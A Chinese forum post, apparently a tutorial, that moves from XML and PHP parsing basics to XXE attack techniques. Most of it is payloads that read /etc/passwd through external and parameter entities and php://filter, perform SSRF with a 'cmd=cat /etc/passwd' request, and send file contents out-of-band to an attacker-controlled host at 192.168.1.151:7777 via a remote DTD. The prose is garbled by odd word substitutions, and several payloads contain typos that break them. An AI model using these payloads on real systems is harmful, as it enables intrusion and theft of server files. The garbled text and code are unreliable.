XXE讲解

[复制链接]
发表于 2025-9-24 16:20:09 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
XML语言底子

XML的标签对巨细写敏感。
XML必须精确的嵌套。
  1. <root>
  2.     <hero>
  3.        <name>妲己</name>第0个节点
  4.        <jineng>爱心</jineng>
  5.    </hero>
  6.    <hero>
  7.        <name>亚瑟</name>第二个节点
  8.        <jineng>旋转</jineng>
  9.    </hero>
  10. </root>
复制代码
在文件中用到大于号和小于号,利用CDATA[]包裹起来即可,包裹之中的大于号和小于号就不会被看乐成能性符号执行。
利用PHP执行XML文件

  1. <root>
  2.    <man>
  3.        <name>程咬金</name>
  4.        <age>2000</age>
  5.    </man>
  6.    <man>
  7.        <name>赵云</name>
  8.        <age>1700</age>
  9.    </man>
  10. </root>
复制代码
simplexml_load_file()函数

  1. <?php
  2. $xml = simplexml_load_file('3.xml');
  3. echo $xml->man[0]->name;
  4. ?>
复制代码
domdocument()函数

  1. <?php
  2. $xml = new domdocument();//实例化
  3. $xml->load('3.xml');//加载文件
  4. print_r($xml->saveXML());
  5. ?>
复制代码
  1. <?php
  2. $xml = new domdocument();//实例化
  3. $xml->load('3.xml');//加载文件
  4. $age = $xml->getElementsByTagName('age')->item(1)->nodeValue;//读取对应的内容
  5. $name = $xml->getElementsByTagName('name')->item(0)->nodeValue;
  6. echo $age;
  7. echo $name;
  8. ?>
复制代码
肴杂利用

  1. <?php
  2. $xmlfile = file_get_contents('3.xml');
  3. $xmlDoc = new DOMDocument();
  4. $xmlDoc ->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  5. $creds = simplexml_import_dom($xmlDoc);
  6. $name = $creds->man[1]->name;
  7. print $name;
  8. ?>
复制代码
内部的DOCTYPE声明

利用DOCTYPE标签,对xml文件起束缚作用。
内部声明:
  1. <!DOCTYPE root[
  2.     <!ELEMENT root (man)>//root中只能是man
  3.     <!ELEMENT man (name,age)>//man中只能有name和age
  4.     <!ELEMENT name (#PCDATA)>
  5.     <!ELEMENT age (#PCDATA)>
  6.     ]>
复制代码
外部声明:
  1. 在之后构造payload时不要有回车,不要换行。
  2. <!DOCTYPE [
  3.     //外部声明
  4.     <!ENTITY ben SYSTEM "file:///etc/passwd">
  5. ]
复制代码
实体

平常实体
  1. <!DOCTYPE root[
  2.     <!ENTITY ben "dazhuang">
  3.     <!ENTITY lao6 SYSTEM "http://www.baidu.com/robots.txt">
  4.     ]>
  5. <root>
  6.     <man>
  7.        <name>wo shi &ben;</name>
  8.    </man>
  9. </root>
  10. 调用的时候使用&+ben+;
复制代码
参数实体
  1. 参数实体使用%,而不是&。
  2. <!DOCTYPE root[
  3.     <!ENTITY % ben "dazhuang">
  4.     <!ENTITY % lao6 SYSTEM "http://192.168.1.151/1.dtd">//1.dtd里面参数san
  5.     %lao6//调用参数实体
  6.     ]>
  7. <root>
  8.     <man>
  9.        <name>wo shi &san;</name>
  10.    </man>
  11. </root>
复制代码
XXE常见利用伎俩

file被过滤
有回显

利用参数,去别的文件获取到恶意代码。
差别的方法:
1、利用参数实体检索文件
2、利用XXE命名实体及外部实体读取文件
  1. 1.dtd文件
  2. <!ENTITY ben SYSTEM "file:///etc/passwd">
复制代码
  1. 传参
  2. <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://192.168.1.151/1.dtd"> %xxe;]>
复制代码
如许就可以获取到网站的一些文件。
3、利用XXE举行SSRF毛病利用
  1. <!doctype root [<!ENTITY xxe SYSTEM "http://192.168.1.6:18091/?cmd=cat /etc/passwd"]>
复制代码
4、利用XXE利用php伪协议读取文件
  1. <!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=/etc/passwd">]>
复制代码
5、php伪协议共同SSRF
  1. <!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=http://192.168.1.6:18091/?cmd=cat index.php">]>
复制代码
无回显

1、a,参数实体,读取/etc/passwd
2、b,平常实体,http://kali_ip/%a;
  1. <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY req SYSTEM "http://192.168.1.151/%xxe;">]>
  2. 因为普通实体里面不能调用参数实体,所以需要构造。
复制代码
  1. 1.dtd文件
  2. <!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.151:7777?p=%file;'>">
复制代码
  1. <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.151/1.dtd">%remote;%int;%send;]>
  2. 参数实体会触发调用1.dtd的内容。
  3. &#x37;就是指%
复制代码
打开http公网的服务,监听7777端口,再举行访问,即可检察内容。
































回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表